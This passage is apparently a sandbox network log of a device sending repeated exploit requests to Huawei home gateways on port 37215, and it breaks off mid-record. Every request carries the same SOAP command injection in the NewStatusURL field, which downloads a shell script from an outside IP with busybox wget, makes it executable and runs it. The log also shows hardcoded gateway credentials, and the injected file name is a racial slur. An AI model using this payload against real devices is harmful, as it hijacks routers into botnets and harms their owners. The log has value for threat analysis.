version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.15	46264	31.136.147.25	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:01.125255108 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:01.698129892 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:02.818015099 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:05.186177969 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:09.793937922 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:18.753690958 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:37.953078032 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:14.816126108 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.15	35482	31.136.119.7	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:01.125505924 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade 